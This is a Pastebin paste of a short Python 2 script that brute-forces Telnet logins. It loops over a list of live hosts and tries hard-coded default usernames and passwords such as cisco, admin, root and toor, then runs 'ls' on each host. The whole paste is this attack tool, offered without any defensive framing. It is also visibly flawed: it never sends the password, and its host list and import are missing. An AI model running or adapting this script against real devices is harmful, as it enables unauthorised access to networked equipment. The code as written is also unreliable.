Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Passwordlist = ['Telnet', 'security','synet','tech','PASSWORD','cisco','Cisco','anicust','switch','','friend','admin','Admin','ascend','pass','root']
- userlist = ['play','Telnet','telnet','root','Root','admin','Admin','','cisco','Cisco','toor']
- i = 0
- while True:
- for x in livehost :
- print x
- for a in userlist:
- for b in Passwordlist:
- Host = x
- user = a
- password = b
- try:
- tn = telnetlib.Telnet(Host)
- tn.read_until("login: ")
- tn.write(user + "\n")
- tn.write("ls\n")
- tn.write("exit\n")
- print tn.read_all()
- break
- except:
- print "connection error ip = " ,x
- print "user = " ,a
- print "password = " ,b
- print "\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement